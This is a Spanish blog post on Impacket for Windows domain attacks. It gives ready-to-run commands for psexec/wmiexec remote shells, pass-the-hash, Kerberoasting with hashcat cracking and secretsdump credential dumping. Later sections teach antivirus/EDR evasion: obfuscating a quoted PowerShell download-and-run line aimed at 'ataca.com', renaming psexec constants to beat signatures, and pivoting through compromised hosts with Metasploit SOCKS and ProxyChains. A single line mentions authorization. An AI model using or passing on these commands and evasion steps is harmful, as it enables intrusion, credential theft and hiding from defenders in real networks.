Impacket: Herramientas de Hacking en Español

 

https://www.onlinetis.com 

Impacket: Herramientas de Hacking en Español

Impacket es una colección de clases de Python diseñadas para trabajar con protocolos de red (como SMB, MSRPC, Kerberos, etc.). En el mundo del hacking ético y Kali Linux, los scripts de Impacket son herramientas fundamentales para el movimiento lateral y la escalación de privilegios.

Aquí tienes un desglose de los scripts más importantes y para qué sirven:


1. Ejecución Remota de Comandos

Estos son los más utilizados cuando ya tienes credenciales (usuario y contraseña o hash) y quieres tomar control del sistema.

  • psexec.py: Emula la herramienta PsExec de Sysinternals. Crea un servicio remoto para darte una shell con privilegios de SYSTEM.

  • wmiexec.py: Una alternativa más sigilosa que usa WMI (Windows Management Instrumentation) para ejecutar comandos. No deja tantos rastros como psexec.

  • smbexec.py: Similar a psexec, pero permite ejecutar comandos a través de la creación de servicios nativos de Windows de forma rápida.

2. Ataques a Active Directory y Kerberos

Impacket brilla especialmente en entornos de dominio.

  • GetNPUsers.py: Realiza un ataque de AS-REP Roasting. Busca usuarios que no requieren pre-autenticación de Kerberos para intentar obtener sus hashes y crackearlos offline.

  • GetUserSPNs.py: Ejecuta el famoso ataque Kerberoasting. Busca Service Principal Names (SPNs) asociados a cuentas de usuario para extraer tickets que pueden ser crackeados.

  • secretsdump.py: Probablemente el más potente. Permite extraer hashes de contraseñas (SAM, LSA secrets, NTDS.dit) de forma remota sin ejecutar agentes en el objetivo.

3. Intercepción y Relevo (Relay)

  • ntlmrelayx.py: Se usa para interceptar peticiones NTLM en la red y "retransmitirlas" a otro servidor para ganar acceso o ejecutar comandos sin conocer la contraseña.

  • responder.py (Nota: Aunque a menudo se usa con Impacket, es una herramienta aparte, pero Impacket tiene scripts como smbserver.py que complementan estas tareas).


Cómo usarlos en Kali Linux

En las versiones actuales de Kali, puedes llamar a estos scripts directamente desde la terminal añadiendo el prefijo impacket-.

Ejemplo de sintaxis básica:

Bash
impacket-psexec dominio/usuario:password@IP_OBJETIVO

Si prefieres usar los hashes en lugar de la contraseña (ataque Pass-the-Hash):

Bash
impacket-psexec dominio/usuario@IP_OBJETIVO -hashes :NTHASH

Tabla de Referencia Rápida

ScriptFunción PrincipalProtocolo
secretsdump.pyVolcado de hashes (SAM/NTDS)SMB/RPC
wmiexec.pyShell interactiva (Semi-interactiva)WMI
GetNPUsers.pyAS-REP RoastingKerberos
GetUserSPNs.pyKerberoastingKerberos
lookupsid.pyEnumerar usuarios vía SIDSMB/RPC

Nota de seguridad: Estas herramientas son extremadamente potentes. Úsalas siempre en entornos controlados o bajo autorización explícita (Pentesting ético).


1. Pass-the-Hash (PtH) con wmiexec.py

El Pass-the-Hash es una técnica que te permite autenticarte en un servidor remoto utilizando el hash NTLM del usuario en lugar de su contraseña en texto plano. Es extremadamente útil si has logrado volcar hashes de una memoria (con Mimikatz) o de un registro (con secretsdump.py).

Escenario:

Tienes el hash NT de un administrador pero no sabes su contraseña.

  • Usuario: Administrator

  • Hash NT: aad3b435b51404eeaad3b435b51404ee:5fbc3d5f36e9683057e6067089906660 (El formato es LM:NT).

Comando en Kali:

Bash
impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5f36e9683057e6067089906660 Administrator@10.10.10.15

¿Por qué usar wmiexec? A diferencia de psexec, no sube un ejecutable al sistema objetivo, lo que lo hace mucho más difícil de detectar por antivirus.


2. Kerberoasting con GetUserSPNs.py

El Kerberoasting consiste en solicitar un ticket de servicio (TGS) para una cuenta de usuario que tiene un SPN (Service Principal Name) asociado. El ticket está cifrado con el hash de la contraseña de ese usuario; por lo tanto, puedes intentar romperlo por fuerza bruta en tu propia máquina.

Paso 1: Enumerar y extraer el ticket

Necesitas las credenciales de cualquier usuario del dominio (incluso uno sin privilegios).

Bash
impacket-GetUserSPNs -dc-ip 10.10.10.100 dominio.local/usuario_bajo_priv:password -request
  • -dc-ip: La IP del Controlador de Dominio.

  • -request: Indica que quieres descargar los tickets TGS para crackearlos.

Paso 2: Crackear el hash

Si el comando anterior tuvo éxito, verás un bloque de texto que empieza por $krb5tgs$. Guárdalo en un archivo (ej: hashes.txt) y usa Hashcat o John the Ripper:

Bash
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

3. El "Combo Ganador": secretsdump.py

Si ya tienes acceso de administrador a una máquina, este script es el estándar de oro para extraer todos los hashes de la base de datos local (SAM) o del dominio (NTDS.dit).

Comando:

Bash
impacket-secretsdump dominio.local/admin_user:password@10.10.10.100

Esto te devolverá una lista limpia de todos los usuarios y sus hashes, listos para ser usados en un ataque de Pass-the-Hash posterior.


Resumen de Diferencias

Ataque¿Qué necesitas?¿Qué obtienes?
Pass-the-HashEl Hash NT del usuario.Una Shell remota (acceso total).
KerberoastingUsuario común del dominio.El hash de una cuenta de servicio para crackear offline.

Evadir el antivirus (AV) y el EDR (Endpoint Detection and Response) es el "juego del gato y el ratón". Herramientas como psexec.py son detectadas casi instantáneamente porque su comportamiento es muy ruidoso: suben un ejecutable al disco y crean un servicio.

Aquí tienes las estrategias principales para ser más sigiloso usando Impacket y técnicas complementarias:


1. Prioriza wmiexec.py sobre psexec.py

Como mencionamos antes, psexec.py escribe un archivo .exe en C:\Windows. Esto es una alerta roja para cualquier antivirus moderno.

  • Por qué wmiexec.py es mejor: No escribe archivos en el disco. Ejecuta comandos a través de WMI, que es un componente legítimo de administración de Windows.

  • El riesgo: Aunque no escribe en disco, genera procesos cmd.exe o powershell.exe como hijos de wmiprvse.exe. Los EDR modernos vigilan estos "padres e hijos" sospechosos.

2. Ejecución "Sin Archivos" (Fileless) con smbexec.py

Si necesitas una alternativa, smbexec.py no sube un binario. En su lugar, crea un servicio nativo temporal que ejecuta un comando de una sola línea:

Bash
impacket-smbexec dominio/usuario:password@IP

Sin embargo, sigue dejando rastro en los Logs de Eventos de Windows (ID 7045: Creación de un nuevo servicio).

3. Ofuscación de Comandos

Si vas a ejecutar un comando a través de Impacket (por ejemplo, para descargar un script de post-explotación), el AV escaneará la línea de comandos.

En lugar de:

IEX (New-Object Net.WebClient).DownloadString('http://ataca.com/payload.ps1')

Usa técnicas de ofuscación:

  • Base64: Pasa el comando codificado a PowerShell con -EncodedCommand.

  • Fragmentación: Divide las palabras clave ("Net." + "WebClient").

  • Variables de entorno: Usa %COMSPEC% en lugar de cmd.exe.

4. Uso de Proxies (SOCKS)

Muchos AV/EDR monitorizan conexiones directas sospechosas desde IPs externas hacia procesos sensibles. Si usas ProxyChains junto con Impacket, puedes hacer que el tráfico parezca provenir de una máquina interna legítima en la que ya tengas control, "mezclándote" con el tráfico normal de la red.

5. Modificar los scripts de Impacket (Nivel Avanzado)

Las firmas de los antivirus a menudo buscan cadenas de texto específicas dentro de los scripts de Impacket (como el nombre del servicio que crea psexec).

  • Cambia las constantes: Abre el script psexec.py y busca variables como SERVICE_NAME o el nombre del ejecutable que genera. Cambiarlos por nombres legítimos (ej. SvcHost_Update) puede ayudar a saltar firmas estáticas simples.

6. Ataques de "Relay" en lugar de Directos

En lugar de atacar una máquina e intentar loguearte (lo cual genera logs de login), usa ntlmrelayx.py.

Si logras que una máquina víctima intente autenticarse contra ti (vía LLMNR/NBNS spoofing), puedes retransmitir esa sesión a otro servidor. Al ser una sesión "legítima" que fluye por la red, el AV del destino a menudo no sospecha tanto como de un intento de login forzado.


Resumen de Sigilo

HerramientaNivel de RuidoRastro Principal
psexec.py🔴 Muy AltoArchivo .exe en disco y servicio nuevo.
smbexec.py🟡 MedioLogs de eventos (Creación de servicio).
wmiexec.py🟢 BajoProcesos hijos sospechosos en memoria.
secretsdump.py🟡 MedioAcceso a memoria LSASS o archivos del registro.

El uso de ProxyChains junto con las herramientas de Impacket es una técnica de nivel profesional. Te permite "tunelizar" tu tráfico a través de una o más máquinas que ya hayas comprometido, haciendo que el ataque final parezca provenir de una IP interna legítima y no de tu máquina de Kali.

Aquí tienes la guía paso a paso para configurar este escenario.


1. El Concepto: Pivotaje

Imagina que has comprometido una máquina Windows (Víctima A) y quieres usar Impacket para atacar al Controlador de Dominio (Víctima B), pero el DC tiene un firewall que solo acepta conexiones desde la red interna.

  1. Creas un túnel SOCKS en la Víctima A.

  2. Configuras ProxyChains en tu Kali para que pase todo por ese túnel.

  3. Ejecutas impacket-wmiexec y el tráfico viajará: Kali -> Víctima A -> Víctima B.


2. Configuración del Túnel (SOCKS Proxy)

Antes de usar ProxyChains, necesitas el "puente". Lo más común es usar Chisel o un agente de Metasploit/Cobalt Strike.

Si usas Metasploit tras ganar una sesión Meterpreter en la Víctima A:

Bash
# Dentro de msfconsole
meterpreter > run autoroute -s 192.168.1.0/24  # Ruta a la red interna
meterpreter > use auxiliary/server/socks_proxy
meterpreter > set VERSION 4a
meterpreter > set SRVPORT 1080
meterpreter > run -j

Esto levanta un proxy SOCKS en tu Kali en el puerto 1080.


3. Configuración de ProxyChains

Ahora debes decirle a tu sistema dónde está ese proxy.

  1. Edita el archivo de configuración:

    sudo nano /etc/proxychains4.conf

  2. Ve al final del archivo y asegúrate de que apunte a tu proxy (comenta cualquier otra línea en ProxyList):

    Plaintext
    [ProxyList]
    # Tipo  IP          Puerto
    socks4  127.0.0.1   1080
    
  3. (Opcional) Activa quiet_mode en el archivo para que no te llene la pantalla con logs de conexiones.


4. Ejecución del ataque con Impacket

Aquí es donde ocurre la magia. Solo tienes que anteponer la palabra proxychains4 a tu comando de Impacket.

Ejemplo de WMIExec a través del túnel:

Bash
proxychains4 impacket-wmiexec -no-pass -k DOMINIO/Usuario@192.168.1.10

Reglas de Oro para Impacket + ProxyChains:

  • Usa IPs, no nombres: A menos que hayas configurado la resolución DNS en el proxy, es mejor usar la IP directa de la Víctima B.

  • Desactiva el chequeo de resolución: En /etc/proxychains4.conf, asegúrate de que proxy_dns esté comentado si tienes problemas de conexión.

  • Parámetros de autenticación: Si usas Kerberos (-k), recuerda que el ticket debe ser válido y estar en tu variable de entorno KRB5CCNAME.


5. ¿Por qué esto evade al AV/EDR?

  1. Origen Confiable: Para el EDR de la Víctima B, la conexión SMB/RPC viene de la IP de la Víctima A (un servidor o PC de la misma empresa), no de una IP desconocida.

  2. Firewall Bypass: Te permite saltar reglas de segmentación de red que bloquean el acceso directo desde el exterior.

  3. Análisis de Comportamiento: Al moverte lateralmente "de vecino a vecino", el tráfico se mezcla con el ruido administrativo normal de la red.


Un detalle crítico: El parámetro -no-pass

Cuando usas ProxyChains, a veces la interactividad falla. Usar tickets de Kerberos (-k) o hashes (-hashes) suele ser más estable a través de túneles que escribir la contraseña en tiempo real.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux